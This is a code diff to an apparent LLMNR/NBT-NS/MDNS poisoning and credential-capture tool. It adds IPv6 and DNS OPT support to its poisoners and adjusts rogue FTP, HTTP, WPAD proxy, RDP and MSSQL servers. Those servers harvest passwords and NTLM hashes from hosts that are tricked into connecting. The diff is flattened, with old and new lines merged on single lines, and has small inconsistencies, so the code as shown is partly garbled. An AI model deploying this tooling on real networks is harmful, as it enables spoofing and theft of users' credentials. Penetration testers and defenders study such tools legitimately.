print(text("[FINGER] OS Version : %s" % color(Finger[0], 3))) elif LLMNRType == 'IPv6':
print(text("[FINGER] Client Version : %s" % color(Finger[1], 3))) Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
Buffer1.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
if not settings.Config.Quiet_Mode:
LineHeader = "[*] [LLMNR]"
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1))
SavePoisonersToDb({
'Poisoner': 'LLMNR6',
'SentToIp': self.client_address[0],
'ForName': Name,
'AnalyzeMode': '0',
})
except: except:
raise pass

68
poisoners/MDNS.py Normal file → Executable file
View File

@@ -20,7 +20,7 @@ if (sys.version_info > (3, 0)):
from socketserver import BaseRequestHandler from socketserver import BaseRequestHandler
else: else:
from SocketServer import BaseRequestHandler from SocketServer import BaseRequestHandler
from packets import MDNS_Ans from packets import MDNS_Ans, MDNS6_Ans
from utils import * from utils import *
def Parse_MDNS_Name(data): def Parse_MDNS_Name(data):
@@ -32,14 +32,14 @@ def Parse_MDNS_Name(data):
NameLen_ = data[1+NameLen] NameLen_ = data[1+NameLen]
Name_ = data[1+NameLen:1+NameLen+NameLen_+1] Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
FinalName = Name+b'.'+Name_ FinalName = Name+b'.'+Name_
return FinalName.decode("latin-1") return FinalName.decode("latin-1").replace("\x05","")
else: else:
data = NetworkRecvBufferPython2or3(data[12:]) data = NetworkRecvBufferPython2or3(data[12:])
NameLen = struct.unpack('>B',data[0])[0] NameLen = struct.unpack('>B',data[0])[0]
Name = data[1:1+NameLen] Name = data[1:1+NameLen]
NameLen_ = struct.unpack('>B',data[1+NameLen])[0] NameLen_ = struct.unpack('>B',data[1+NameLen])[0]
Name_ = data[1+NameLen:1+NameLen+NameLen_+1] Name_ = data[1+NameLen:1+NameLen+NameLen_+1]
return Name+'.'+Name_ return Name+'.'+Name_.replace("\x05","")
except IndexError: except IndexError:
return None return None
@@ -51,37 +51,47 @@ def Poisoned_MDNS_Name(data):
class MDNS(BaseRequestHandler): class MDNS(BaseRequestHandler):
def handle(self): def handle(self):
MADDR = "224.0.0.251"
MPORT = 5353
data, soc = self.request data, soc = self.request
Request_Name = Parse_MDNS_Name(data) Request_Name = Parse_MDNS_Name(data)
MDNSType = Parse_IPV6_Addr(data)
# Break out if we don't want to respond to this host # Break out if we don't want to respond to this host
if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True):
if (not Request_Name) or (RespondToThisHost(self.client_address[0].replace("::ffff:",""), Request_Name) is not True):
return None return None
if settings.Config.AnalyzeMode: # Analyze Mode if settings.Config.AnalyzeMode: # Analyze Mode
if Parse_IPV6_Addr(data): print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Request_Name, 3))))
print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))) SavePoisonersToDb({
SavePoisonersToDb({ 'Poisoner': 'MDNS',
'Poisoner': 'MDNS', 'SentToIp': self.client_address[0],
'SentToIp': self.client_address[0], 'ForName': Request_Name,
'ForName': Request_Name, 'AnalyzeMode': '1',
'AnalyzeMode': '1', })
}) elif MDNSType == True: # Poisoning Mode
else: # Poisoning Mode Poisoned_Name = Poisoned_MDNS_Name(data)
if Parse_IPV6_Addr(data): Buffer = MDNS_Ans(AnswerName = Poisoned_Name)
Buffer.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
if not settings.Config.Quiet_Mode:
print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1))
SavePoisonersToDb({
'Poisoner': 'MDNS',
'SentToIp': self.client_address[0],
'ForName': Request_Name,
'AnalyzeMode': '0',
})
Poisoned_Name = Poisoned_MDNS_Name(data) elif MDNSType == 'IPv6': # Poisoning Mode
Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=RespondWithIPAton()) Poisoned_Name = Poisoned_MDNS_Name(data)
Buffer.calculate() Buffer = MDNS6_Ans(AnswerName = Poisoned_Name)
soc.sendto(NetworkSendBufferPython2or3(Buffer), (MADDR, MPORT)) Buffer.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)) if not settings.Config.Quiet_Mode:
SavePoisonersToDb({ print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1))
'Poisoner': 'MDNS', SavePoisonersToDb({
'SentToIp': self.client_address[0], 'Poisoner': 'MDNS6',
'ForName': Request_Name, 'SentToIp': self.client_address[0],
'AnalyzeMode': '0', 'ForName': Request_Name,
}) 'AnalyzeMode': '0',
})

33
poisoners/NBTNS.py Normal file → Executable file
View File

@@ -14,7 +14,6 @@
# #
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import fingerprint
import sys import sys
from packets import NBT_Ans from packets import NBT_Ans
from utils import * from utils import *
@@ -24,21 +23,6 @@ if (sys.version_info > (3, 0)):
else: else:
from SocketServer import BaseRequestHandler from SocketServer import BaseRequestHandler
# Define what are we answering to.
def Validate_NBT_NS(data):
print("NBT-Service is:", NetworkRecvBufferPython2or3(data[43:46]))
if settings.Config.AnalyzeMode:
return False
elif NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "File Server":
return True
elif settings.Config.NBTNSDomain:
if NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "Domain Controller":
return True
elif settings.Config.Wredirect:
if NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "Workstation/Redirector":
return True
return False
# NBT_NS Server class. # NBT_NS Server class.
class NBTNS(BaseRequestHandler): class NBTNS(BaseRequestHandler):
@@ -47,17 +31,12 @@ class NBTNS(BaseRequestHandler):
data, socket = self.request data, socket = self.request
Name = Decode_Name(NetworkRecvBufferPython2or3(data[13:45])) Name = Decode_Name(NetworkRecvBufferPython2or3(data[13:45]))
# Break out if we don't want to respond to this host # Break out if we don't want to respond to this host
if RespondToThisHost(self.client_address[0], Name) is not True: if RespondToThisHost(self.client_address[0].replace("::ffff:",""), Name) is not True:
return None return None
if data[2:4] == b'\x01\x10': if data[2:4] == b'\x01\x10':
Finger = None
if settings.Config.Finger_On_Off:
Finger = fingerprint.RunSmbFinger((self.client_address[0],445))
if settings.Config.AnalyzeMode: # Analyze Mode if settings.Config.AnalyzeMode: # Analyze Mode
LineHeader = "[Analyze mode: NBT-NS]" print(text('[Analyze mode: NBT-NS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Name, 3))))
print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1))
SavePoisonersToDb({ SavePoisonersToDb({
'Poisoner': 'NBT-NS', 'Poisoner': 'NBT-NS',
'SentToIp': self.client_address[0], 'SentToIp': self.client_address[0],
@@ -68,8 +47,9 @@ class NBTNS(BaseRequestHandler):
Buffer1 = NBT_Ans() Buffer1 = NBT_Ans()
Buffer1.calculate(data) Buffer1.calculate(data)
socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
LineHeader = "[*] [NBT-NS]" if not settings.Config.Quiet_Mode:
print(color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46]))), 2, 1)) LineHeader = "[*] [NBT-NS]"
print(color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46]))), 2, 1))
SavePoisonersToDb({ SavePoisonersToDb({
'Poisoner': 'NBT-NS', 'Poisoner': 'NBT-NS',
'SentToIp': self.client_address[0], 'SentToIp': self.client_address[0],
@@ -77,6 +57,3 @@ class NBTNS(BaseRequestHandler):
'AnalyzeMode': '0', 'AnalyzeMode': '0',
}) })
if Finger is not None:
print(text("[FINGER] OS Version : %s" % color(Finger[0], 3)))
print(text("[FINGER] Client Version : %s" % color(Finger[1], 3)))

1
requirements.txt Normal file
View File

@@ -0,0 +1 @@
netifaces==0.10.4

View File

@@ -165,7 +165,7 @@ def BecomeBackup(data,Client):
Role = NBT_NS_Role(data[45:48]) Role = NBT_NS_Role(data[45:48])
if settings.Config.AnalyzeMode: if settings.Config.AnalyzeMode:
print(text("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client, Name,Role,Domain))) print(text("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client.replace("::ffff:",""), Name,Role,Domain)))
RAPInfo = RAPThisDomain(Client, Domain) RAPInfo = RAPThisDomain(Client, Domain)
if RAPInfo is not None: if RAPInfo is not None:
print(RAPInfo) print(RAPInfo)
@@ -182,7 +182,7 @@ def ParseDatagramNBTNames(data,Client):
if Role2 == "Domain Controller" or Role2 == "Browser Election" or Role2 == "Local Master Browser" and settings.Config.AnalyzeMode: if Role2 == "Domain Controller" or Role2 == "Browser Election" or Role2 == "Local Master Browser" and settings.Config.AnalyzeMode:
print(text('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client, Name, Role1, Domain, Role2))) print(text('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client.replace("::ffff:",""), Name, Role1, Domain, Role2)))
RAPInfo = RAPThisDomain(Client, Domain) RAPInfo = RAPThisDomain(Client, Domain)
if RAPInfo is not None: if RAPInfo is not None:
print(RAPInfo) print(RAPInfo)

View File

@@ -15,7 +15,7 @@
# You should have received a copy of the GNU General Public License # You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import * from utils import *
from packets import DNS_Ans, DNS_SRV_Ans from packets import DNS_Ans, DNS_SRV_Ans, DNS6_Ans, DNS_AnsOPT
if settings.Config.PY2OR3 == "PY3": if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler from socketserver import BaseRequestHandler
else: else:
@@ -23,11 +23,16 @@ else:
def ParseDNSType(data): def ParseDNSType(data):
QueryTypeClass = data[len(data)-4:] QueryTypeClass = data[len(data)-4:]
OPT = data[len(data)-22:len(data)-20]
if OPT == "\x00\x29":
return "OPTIPv4"
# If Type A, Class IN, then answer. # If Type A, Class IN, then answer.
if QueryTypeClass == "\x00\x01\x00\x01": elif QueryTypeClass == "\x00\x01\x00\x01":
return "A" return "A"
if QueryTypeClass == "\x00\x21\x00\x01": elif QueryTypeClass == "\x00\x21\x00\x01":
return "SRV" return "SRV"
elif QueryTypeClass == "\x00\x1c\x00\x01":
return "IPv6"
@@ -44,14 +49,36 @@ class DNS(BaseRequestHandler):
buff.calculate(NetworkRecvBufferPython2or3(data)) buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv4":
buff = DNS_AnsOPT()
buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] A OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV": if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV":
buff = DNS_SRV_Ans() buff = DNS_SRV_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data)) buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6":
buff = DNS6_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] AAAA Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6":
buff = DNS6_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] AAAA OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
except Exception: except Exception:
pass pass
@@ -70,14 +97,35 @@ class DNSTCP(BaseRequestHandler):
buff.calculate(NetworkRecvBufferPython2or3(data)) buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff)) self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv4":
buff = DNS_AnsOPT()
buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] A OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV": if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV":
buff = DNS_SRV_Ans() buff = DNS_SRV_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data)) buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff)) self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6":
buff = DNS6_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] AAAA Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6":
buff = DNS6_AnsOPT()
buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] AAAA OPT Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1))
except Exception: except Exception:
pass pass

3
servers/FTP.py Normal file → Executable file
View File

@@ -37,10 +37,8 @@ class FTP(BaseRequestHandler):
if data[0:4] == b'PASS': if data[0:4] == b'PASS':
Pass = data[5:].strip().decode("latin-1") Pass = data[5:].strip().decode("latin-1")
Packet = FTPPacket(Code="530",Message="User not logged in.") Packet = FTPPacket(Code="530",Message="User not logged in.")
self.request.send(NetworkSendBufferPython2or3(Packet)) self.request.send(NetworkSendBufferPython2or3(Packet))
data = self.request.recv(1024)
SaveToDb({ SaveToDb({
'module': 'FTP', 'module': 'FTP',
@@ -57,4 +55,5 @@ class FTP(BaseRequestHandler):
data = self.request.recv(1024) data = self.request.recv(1024)
except Exception: except Exception:
raise
pass pass

27
servers/HTTP.py Normal file → Executable file
View File

@@ -86,16 +86,6 @@ def GrabCookie(data, host):
return Cookie return Cookie
return False return False
def GrabHost(data, host):
Host = re.search(r'(Host:*.\=*)[^\r\n]*', data)
if Host:
Host = Host.group(0).replace('Host: ', '')
if settings.Config.Verbose:
print(text("[HTTP] Host : %s " % color(Host, 3)))
return Host
return False
def GrabReferer(data, host): def GrabReferer(data, host):
Referer = re.search(r'(Referer:*.\=*)[^\r\n]*', data) Referer = re.search(r'(Referer:*.\=*)[^\r\n]*', data)
@@ -196,8 +186,7 @@ def PacketSequence(data, client, Challenge):
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
if Packet_NTLM == b'\x01': if Packet_NTLM == b'\x01':
GrabURL(data, client) GrabURL(data, client)
GrabReferer(data, client) #GrabReferer(data, client)
GrabHost(data, client)
GrabCookie(data, client) GrabCookie(data, client)
Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge)) Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
@@ -216,7 +205,7 @@ def PacketSequence(data, client, Challenge):
ParseHTTPHash(NTLM_Auth, Challenge, client, module) ParseHTTPHash(NTLM_Auth, Challenge, client, module)
if settings.Config.Force_WPAD_Auth and WPAD_Custom: if settings.Config.Force_WPAD_Auth and WPAD_Custom:
print(text("[HTTP] WPAD (auth) file sent to %s" % client)) print(text("[HTTP] WPAD (auth) file sent to %s" % client.replace("::ffff:","")))
return WPAD_Custom return WPAD_Custom
else: else:
@@ -228,8 +217,7 @@ def PacketSequence(data, client, Challenge):
ClearText_Auth = b64decode(''.join(Basic_Auth)) ClearText_Auth = b64decode(''.join(Basic_Auth))
GrabURL(data, client) GrabURL(data, client)
GrabReferer(data, client) #GrabReferer(data, client)
GrabHost(data, client)
GrabCookie(data, client) GrabCookie(data, client)
SaveToDb({ SaveToDb({
@@ -242,7 +230,7 @@ def PacketSequence(data, client, Challenge):
if settings.Config.Force_WPAD_Auth and WPAD_Custom: if settings.Config.Force_WPAD_Auth and WPAD_Custom:
if settings.Config.Verbose: if settings.Config.Verbose:
print(text("[HTTP] WPAD (auth) file sent to %s" % client)) print(text("[HTTP] WPAD (auth) file sent to %s" % client.replace("::ffff:","")))
return WPAD_Custom return WPAD_Custom
else: else:
@@ -253,12 +241,12 @@ def PacketSequence(data, client, Challenge):
if settings.Config.Basic: if settings.Config.Basic:
Response = IIS_Basic_401_Ans() Response = IIS_Basic_401_Ans()
if settings.Config.Verbose: if settings.Config.Verbose:
print(text("[HTTP] Sending BASIC authentication request to %s" % client)) print(text("[HTTP] Sending BASIC authentication request to %s" % client.replace("::ffff:","")))
else: else:
Response = IIS_Auth_401_Ans() Response = IIS_Auth_401_Ans()
if settings.Config.Verbose: if settings.Config.Verbose:
print(text("[HTTP] Sending NTLM authentication request to %s" % client)) print(text("[HTTP] Sending NTLM authentication request to %s" % client.replace("::ffff:","")))
return Response return Response
@@ -302,7 +290,7 @@ class HTTP(BaseRequestHandler):
self.request.send(NetworkSendBufferPython2or3(Buffer)) self.request.send(NetworkSendBufferPython2or3(Buffer))
self.request.close() self.request.close()
if settings.Config.Verbose: if settings.Config.Verbose:
print(text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0])) print(text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0].replace("::ffff:","")))
else: else:
Buffer = PacketSequence(data,self.client_address[0], Challenge) Buffer = PacketSequence(data,self.client_address[0], Challenge)
@@ -311,3 +299,4 @@ class HTTP(BaseRequestHandler):
except: except:
pass pass

13
servers/HTTP_Proxy.py Normal file → Executable file
View File

@@ -207,9 +207,9 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
rbufsize = 0 rbufsize = 0
def handle(self): def handle(self):
(ip, port) = self.client_address (ip, port) = self.client_address[0], self.client_address[1]
if settings.Config.Verbose: if settings.Config.Verbose:
print(text("[PROXY] Received connection from %s" % self.client_address[0])) print(text("[PROXY] Received connection from %s" % self.client_address[0].replace("::ffff:","")))
self.__base_handle() self.__base_handle()
def _connect_to(self, netloc, soc): def _connect_to(self, netloc, soc):
@@ -246,14 +246,15 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
try: try:
if self._connect_to(self.path, soc): if self._connect_to(self.path, soc):
self.wfile.write(self.protocol_version +" 200 Connection established\r\n") self.wfile.write(NetworkSendBufferPython2or3(self.protocol_version +" 200 Connection established\r\n"))
self.wfile.write("Proxy-agent: %s\r\n" % self.version_string()) self.wfile.write(NetworkSendBufferPython2or3("Proxy-agent: %s\r\n"% self.version_string()))
self.wfile.write("\r\n") self.wfile.write(NetworkSendBufferPython2or3("\r\n"))
try: try:
self._read_write(soc, 300) self._read_write(soc, 300)
except: except:
pass pass
except: except:
raise
pass pass
finally: finally:
@@ -285,7 +286,7 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
Cookie = self.headers['Cookie'] if "Cookie" in self.headers else '' Cookie = self.headers['Cookie'] if "Cookie" in self.headers else ''
if settings.Config.Verbose: if settings.Config.Verbose:
print(text("[PROXY] Client : %s" % color(self.client_address[0], 3))) print(text("[PROXY] Client : %s" % color(self.client_address[0].replace("::ffff:",""), 3)))
print(text("[PROXY] Requested URL : %s" % color(self.path, 3))) print(text("[PROXY] Requested URL : %s" % color(self.path, 3)))
print(text("[PROXY] Cookie : %s" % Cookie)) print(text("[PROXY] Cookie : %s" % Cookie))

View File

@@ -173,7 +173,7 @@ def ParseCLDAPPacket(data, client, Challenge):
elif Operation == b'\x63': elif Operation == b'\x63':
Buffer = ParseSearch(data) Buffer = ParseSearch(data)
print(text('[CLDAP] Sent CLDAP pong to %s.'% client)) print(text('[CLDAP] Sent CLDAP pong to %s.'% client.replace("::ffff:","")))
return Buffer return Buffer
elif settings.Config.Verbose: elif settings.Config.Verbose:

2
servers/MSSQL.py Normal file → Executable file
View File

@@ -134,7 +134,7 @@ class MSSQL(BaseRequestHandler):
if not data: if not data:
break break
if settings.Config.Verbose: if settings.Config.Verbose:
print(text("[MSSQL] Received connection from %s" % self.client_address[0])) print(text("[MSSQL] Received connection from %s" % self.client_address[0].replace("::ffff:","")))
if data[0] == b"\x12" or data[0] == 18: # Pre-Login Message if data[0] == b"\x12" or data[0] == 18: # Pre-Login Message
Buffer = str(MSSQLPreLoginAnswer()) Buffer = str(MSSQLPreLoginAnswer())
self.request.send(NetworkSendBufferPython2or3(Buffer)) self.request.send(NetworkSendBufferPython2or3(Buffer))

View File

@@ -57,7 +57,7 @@ def PacketSequence(data, client, Challenge):
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
if Packet_NTLM == b'\x01': if Packet_NTLM == b'\x01':
if settings.Config.Verbose: if settings.Config.Verbose:
print(text("[Proxy-Auth] Sending NTLM authentication request to %s" % client)) print(text("[Proxy-Auth] Sending NTLM authentication request to %s" % client.replace("::ffff:","")))
Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge)) Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
Buffer.calculate() Buffer.calculate()
Buffer_Ans = WPAD_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1')) Buffer_Ans = WPAD_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1'))
@@ -69,9 +69,10 @@ def PacketSequence(data, client, Challenge):
GrabUserAgent(data) GrabUserAgent(data)
GrabCookie(data) GrabCookie(data)
GrabHost(data) GrabHost(data)
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) #While at it, grab some SMB hashes... #Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject) #While at it, grab some SMB hashes...
Buffer.calculate() #Buffer.calculate()
return Buffer #Return a TCP RST, so the client uses direct connection and avoids disruption.
return RST
else: else:
return IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)# Didn't work? no worry, let's grab hashes via SMB... return IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)# Didn't work? no worry, let's grab hashes via SMB...
@@ -93,7 +94,7 @@ def PacketSequence(data, client, Challenge):
if settings.Config.Basic: if settings.Config.Basic:
Response = WPAD_Basic_407_Ans() Response = WPAD_Basic_407_Ans()
if settings.Config.Verbose: if settings.Config.Verbose:
print(text("[Proxy-Auth] Sending BASIC authentication request to %s" % client)) print(text("[Proxy-Auth] Sending BASIC authentication request to %s" % client.replace("::ffff:","")))
else: else:
Response = WPAD_Auth_407_Ans() Response = WPAD_Auth_407_Ans()

10
servers/RDP.py Normal file → Executable file
View File

@@ -98,6 +98,11 @@ class RDP(BaseRequestHandler):
self.request.settimeout(30) self.request.settimeout(30)
Challenge = RandomChallenge() Challenge = RandomChallenge()
cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert)
key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey)
context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
context.load_cert_chain(cert, key)
if data[11:12] == b'\x01': if data[11:12] == b'\x01':
x = X224(Data=RDPNEGOAnswer()) x = X224(Data=RDPNEGOAnswer())
x.calculate() x.calculate()
@@ -105,7 +110,7 @@ class RDP(BaseRequestHandler):
h.calculate() h.calculate()
buffer1 = str(h) buffer1 = str(h)
self.request.send(NetworkSendBufferPython2or3(buffer1)) self.request.send(NetworkSendBufferPython2or3(buffer1))
SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True) SSLsock = context.wrap_socket(self.request, server_side=True)
SSLsock.settimeout(30) SSLsock.settimeout(30)
data = SSLsock.read(8092) data = SSLsock.read(8092)
if FindNTLMNegoStep(data) == b'\x01\x00\x00\x00': if FindNTLMNegoStep(data) == b'\x01\x00\x00\x00':
@@ -125,8 +130,7 @@ class RDP(BaseRequestHandler):
buffer1 = str(h) buffer1 = str(h)
self.request.send(NetworkSendBufferPython2or3(buffer1)) self.request.send(NetworkSendBufferPython2or3(buffer1))
data = self.request.recv(8092) data = self.request.recv(8092)
SSLsock = context.wrap_socket(self.request, server_side=True)
SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True)
data = SSLsock.read(8092) data = SSLsock.read(8092)
if FindNTLMNegoStep(data) == b'\x01\x00\x00\x00': if FindNTLMNegoStep(data) == b'\x01\x00\x00\x00':
x = RDPNTLMChallengeAnswer(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge)) x = RDPNTLMChallengeAnswer(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))

View File

@@ -144,7 +144,7 @@ class RPCMap(BaseRequestHandler):
RPC.calculate() RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC))) self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024) data = self.request.recv(1024)
print(color("[*] [DCE-RPC Mapper] Redirected %-15sto DSRUAPI auth server." % (self.client_address[0]), 3, 1)) print(color("[*] [DCE-RPC Mapper] Redirected %-15sto DSRUAPI auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1))
self.request.close() self.request.close()
#LSARPC #LSARPC
@@ -155,7 +155,7 @@ class RPCMap(BaseRequestHandler):
RPC.calculate() RPC.calculate()
self.request.send(NetworkSendBufferPython2or3(str(RPC))) self.request.send(NetworkSendBufferPython2or3(str(RPC)))
data = self.request.recv(1024) data = self.request.recv(1024)
